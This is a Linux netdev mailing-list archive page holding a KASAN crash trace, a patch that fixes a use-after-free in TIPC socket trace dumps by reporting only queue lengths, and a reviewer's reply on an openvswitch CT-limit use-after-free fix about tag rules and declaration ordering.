[ 282.631030][ T9764] CPU: 1 UID: 0 PID: 9764 Comm: python3 Not tainted 7.1.0-rc2 #10 PREEMPT(full)
[ 282.632219][ T9764] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 282.633618][ T9764] Call Trace:
[ 282.634056][ T9764] <TASK>
[ 282.634440][ T9764] vpanic+0x6c3/0x790
[ 282.634974][ T9764] ? __pfx_vpanic+0x10/0x10
[ 282.635573][ T9764] ? srso_alias_return_thunk+0x5/0xfbef5
[ 282.636323][ T9764] ? srso_alias_return_thunk+0x5/0xfbef5
[ 282.637064][ T9764] ? irqentry_exit+0x24d/0x830
[ 282.637683][ T9764] ? srso_alias_return_thunk+0x5/0xfbef5
[ 282.638419][ T9764] ? lockdep_hardirqs_on+0x7b/0x110
[ 282.639112][ T9764] ? tipc_skb_dump+0x14a4/0x14d0
[ 282.639756][ T9764] panic+0xca/0xd0
[ 282.640261][ T9764] ? __pfx_panic+0x10/0x10
[ 282.640855][ T9764] check_panic_on_warn+0x61/0x80
[ 282.641542][ T9764] end_report+0x13e/0x180
[ 282.642133][ T9764] kasan_report+0xf4/0x120
[ 282.642764][ T9764] ? tipc_skb_dump+0x14a4/0x14d0
[ 282.643600][ T9764] tipc_skb_dump+0x14a4/0x14d0
[ 282.644400][ T9764] tipc_list_dump+0x1b6/0x2a0
[ 282.645093][ T9764] tipc_sk_dump+0xa92/0xcc0
[ 282.645700][ T9764] ? trace_event_buffer_reserve+0x150/0x300
[ 282.646510][ T9764] trace_event_raw_event_tipc_sk_class+0x2c1/0x490
[ 282.647402][ T9764] ? __pfx_trace_event_raw_event_tipc_sk_class+0x10/0x10
[ 282.648345][ T9764] ? srso_alias_return_thunk+0x5/0xfbef5
[ 282.649114][ T9764] ? srso_alias_return_thunk+0x5/0xfbef5
[ 282.649884][ T9764] ? srso_alias_return_thunk+0x5/0xfbef5
[ 282.650654][ T9764] ? __pfx_tipc_poll+0x10/0x10
[ 282.651310][ T9764] tipc_poll+0x290/0x590
[ 282.651895][ T9764] sock_poll+0x134/0x490
[ 282.652492][ T9764] do_sys_poll+0x507/0xbf0
[ 282.653113][ T9764] ? __pfx_do_sys_poll+0x10/0x10
[ 282.653829][ T9764] ? do_raw_spin_lock+0x12d/0x270
[ 282.654597][ T9764] ? srso_alias_return_thunk+0x5/0xfbef5
[ 282.655369][ T9764] ? do_futex+0x1cd/0x230
[ 282.655977][ T9764] ? __pfx_do_futex+0x10/0x10
[ 282.656614][ T9764] ? srso_alias_return_thunk+0x5/0xfbef5
[ 282.657381][ T9764] __x64_sys_poll+0x181/0x3e0
[ 282.658035][ T9764] ? __pfx___x64_sys_poll+0x10/0x10
[ 282.658745][ T9764] ? srso_alias_return_thunk+0x5/0xfbef5
[ 282.659515][ T9764] ? rcu_is_watching+0x12/0xc0
[ 282.660208][ T9764] do_syscall_64+0x116/0xf80
[ 282.660823][ T9764] ? irqentry_exit+0x117/0x830
[ 282.661476][ T9764] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 282.662266][ T9764] RIP: 0033:0x7f332e77d9ee
[ 282.662861][ T9764] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[ 282.664714][ T9764] RSP: 002b:00007f332d6fdb58 EFLAGS: 00000246 ORIG_RAX: 0000000000000007
[ 282.665298][ T9764] RAX: ffffffffffffffda RBX: 00007f332d6fe6c0 RCX: 00007f332e77d9ee
[ 282.665838][ T9764] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 00007f332e604450
[ 282.666442][ T9764] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 282.666986][ T9764] R10: 0000000000000000 R11: 0000000000000246 R12: 00007f332e1834c0
[ 282.667563][ T9764] R13: 000000000c939210 R14: 00007f332d6fe640 R15: 00007f332e19af10
[ 282.668176][ T9764] </TASK>
[ 282.669068][ T9764] Kernel Offset: disabled
[ 282.669366][ T9764] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
tipc: avoid use-after-free in trace queue dumps
net/tipc/socket.c | 12 +++---------
net/tipc/trace.c | 44 +++++---------------------------------------
2 files changed, 8 insertions(+), 48 deletions(-)
--
2.43.0
^ permalink raw reply
* [PATCH net 1/1] tipc: avoid use-after-free in trace queue dumps
From: Ren Wei @ 2026-07-20 6:45 UTC (permalink / raw)
To: netdev, tipc-discussion
Cc: jmaloy, davem, edumazet, pabeni, horms, ying.xue, tuong.t.lien,
vega, xizh2024, enjou1224z
In-Reply-To: <cover.1784443039.git.xizh2024@lzu.edu.cn>
From: Zihan Xi <xizh2024@lzu.edu.cn>
TIPC trace helpers can dump live socket queues from contexts such as
poll(). tipc_list_dump() walks the write and receive skb queues and dumps
the head, tail or selected skb entries, while tipc_sk_dump() also dumps the
socket backlog head and tail directly.
Those trace paths do not have a reliable skb lifetime guarantee for every
queue they inspect. TIPC socket queues are serialized by socket or other
outer locks, and not all skb lists use the embedded sk_buff_head lock
as the mutator lock. A concurrent dequeue/free can therefore leave the
trace helper dereferencing a stale skb pointer.
Avoid dereferencing queue members from the socket trace dump path. Keep the
trace ABI and buffer sizing unchanged, but report only queue lengths
for the write queue, receive queue, and backlog. This preserves useful
queue state in trace output without pretending that the trace helper can
safely pin or walk all caller-provided lists.
Fixes: b4b9771bcbbd ("tipc: enable tracepoints in tipc")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <xizh2024@lzu.edu.cn>
Reviewed-by: Ren Wei <enjou1224z@gmail.com>
---
net/tipc/socket.c | 12 +++---------
net/tipc/trace.c | 44 +++++---------------------------------------
2 files changed, 8 insertions(+), 48 deletions(-)
diff --git a/net/tipc/socket.c b/net/tipc/socket.c
index e564341e0216..4b9eb0b401fe 100644
--- a/net/tipc/socket.c
+++ b/net/tipc/socket.c
@@ -4000,15 +4000,9 @@ int tipc_sk_dump(struct sock *sk, u16 dqueues, char *buf)
i += tipc_list_dump(&sk->sk_receive_queue, false, buf + i);
}
- if (dqueues & TIPC_DUMP_SK_BKLGQ) {
- i += scnprintf(buf + i, sz - i, "sk_backlog:\n head ");
- i += tipc_skb_dump(sk->sk_backlog.head, false, buf + i);
- if (sk->sk_backlog.tail != sk->sk_backlog.head) {
- i += scnprintf(buf + i, sz - i, " tail ");
- i += tipc_skb_dump(sk->sk_backlog.tail, false,
- buf + i);
- }
- }
+ if (dqueues & TIPC_DUMP_SK_BKLGQ)
+ i += scnprintf(buf + i, sz - i, "sk_backlog: len = %d\n",
+ READ_ONCE(sk->sk_backlog.len));
return i;
}
diff --git a/net/tipc/trace.c b/net/tipc/trace.c
index 7d2931521e0e..399538d0a369 100644
--- a/net/tipc/trace.c
+++ b/net/tipc/trace.c
@@ -158,49 +158,15 @@ int tipc_skb_dump(struct sk_buff *skb, bool more, char *buf)
/**
* tipc_list_dump - dump TIPC skb list/queue
* @list: list of skbs to be dumped
- * @more: dump more?
- * - false: dump only the head & tail skbs
- * - true: dump the first & last 5 skbs
+ * @more: unused; kept for tracepoint ABI compatibility
* @buf: returned buffer of dump data in format
*/
int tipc_list_dump(struct sk_buff_head *list, bool more, char *buf)
{
- int i = 0;
- size_t sz = (more) ? LIST_LMAX : LIST_LMIN;
- u32 count, len;
- struct sk_buff *hskb, *tskb, *skb, *tmp;
-
- if (!list) {
- i += scnprintf(buf, sz, "(null)\n");
- return i;
- }
+ size_t sz = more ? LIST_LMAX : LIST_LMIN;
- len = skb_queue_len(list);
- i += scnprintf(buf, sz, "len = %d\n", len);
+ if (!list)
+ return scnprintf(buf, sz, "(null)\n");
- if (!len)
- return i;
-
- if (!more) {
- hskb = skb_peek(list);
- i += scnprintf(buf + i, sz - i, " head ");
- i += tipc_skb_dump(hskb, false, buf + i);
- if (len > 1) {
- tskb = skb_peek_tail(list);
- i += scnprintf(buf + i, sz - i, " tail ");
- i += tipc_skb_dump(tskb, false, buf + i);
- }
- } else {
- count = 0;
- skb_queue_walk_safe(list, skb, tmp) {
- count++;
- if (count == 6)
- i += scnprintf(buf + i, sz - i, " .\n .\n");
- if (count > 5 && count <= len - 5)
- continue;
- i += scnprintf(buf + i, sz - i, " #%d ", count);
- i += tipc_skb_dump(skb, false, buf + i);
- }
- }
- return i;
+ return scnprintf(buf, sz, "len = %u\n", skb_queue_len_lockless(list));
}
--
2.43.0
^ permalink raw reply related
* Re: [PATCH net 1/1] openvswitch: Fix CT limit teardown use-after-free
From: Yuan Tan @ 2026-07-20 6:54 UTC (permalink / raw)
To: Andrew Lunn, Ren Wei, xuyuqiabc
Cc: netdev, dev, aconole, echaudro, i.maximets, davem, edumazet,
pabeni, horms, pshelar, yihung.wei, tonanli66, xuyuqiabc
In-Reply-To: <c357f846-d42c-4b98-acc9-46b751818dca@lunn.ch>
On 7/19/26 19:52, Andrew Lunn wrote:
> On Mon, Jul 20, 2026 at 10:14:16AM +0800, Ren Wei wrote:
>> From: Yuqi Xu <xuyuqiabc@gmail.com>
>>
>> Packet processing uses CT limit state under RCU, while netns teardown
>> frees that state under ovs_mutex. The CT limit pointer was neither removed
>> from readers nor protected by a grace period, allowing packet processing to
>> dereference the freed state.
>>
>> Replace the pointer before freeing the CT limit state. Wait for in-flight
>> RCU readers before freeing its contents. Serialize CT limit netlink
>> operations with teardown for the full lifetime of their state accesses.
>>
>> Fixes: 11efd5cb04a1 ("openvswitch: Support conntrack zone limit")
>> Cc: stable@vger.kernel.org
>> Reported-by: Vega <vega@nebusec.ai>
> Is Vega a person?
Hi Andrew,
Thank you very much for your review!
For context, we had previously understood that using the tool name in
the Reported-by tag was acceptable, based on examples such as
Reported-by: AutonomousCodeSecurity@microsoft.com and Reported-by:
Anthropic.
https://lore.kernel.org/all/20260630171016.11c02dec@kernel.org/
Of course, we’re happy to adjust it if a different format is preferred.
>> Assisted-by: Codex:GPT-5.4
>> Co-developed-by: Nan Li <tonanli66@gmail.com>
>> Signed-off-by: Nan Li <tonanli66@gmail.com>
>> Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
>> Reviewed-by: Ren Wei <enjou1224z@gmail.com>
> Please take a look at
> https://docs.kernel.org/process/submitting-patches.html#sign-your-work-the-developer-s-certificate-of-origin
> and the sections that follow. What is listed here does not follow the
> rules.
>
>> @@ -932,11 +932,15 @@ static int ovs_ct_check_limit(struct net *net,
>> const struct sk_buff *skb,
>> const struct ovs_conntrack_info *info)
>> {
>> + const struct ovs_ct_limit_info *ct_limit_info;
>> struct ovs_net *ovs_net = net_generic(net, ovs_net_id);
>> - const struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
>> u32 per_zone_limit, connections;
>> u32 conncount_key;
> Reverse Christmas tree. The lines should be sorted longest to
> shortest. Yes, it was already wrong, but you can actually fix it here.
> Andrew
>
> ---
> pw-bot: cr
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox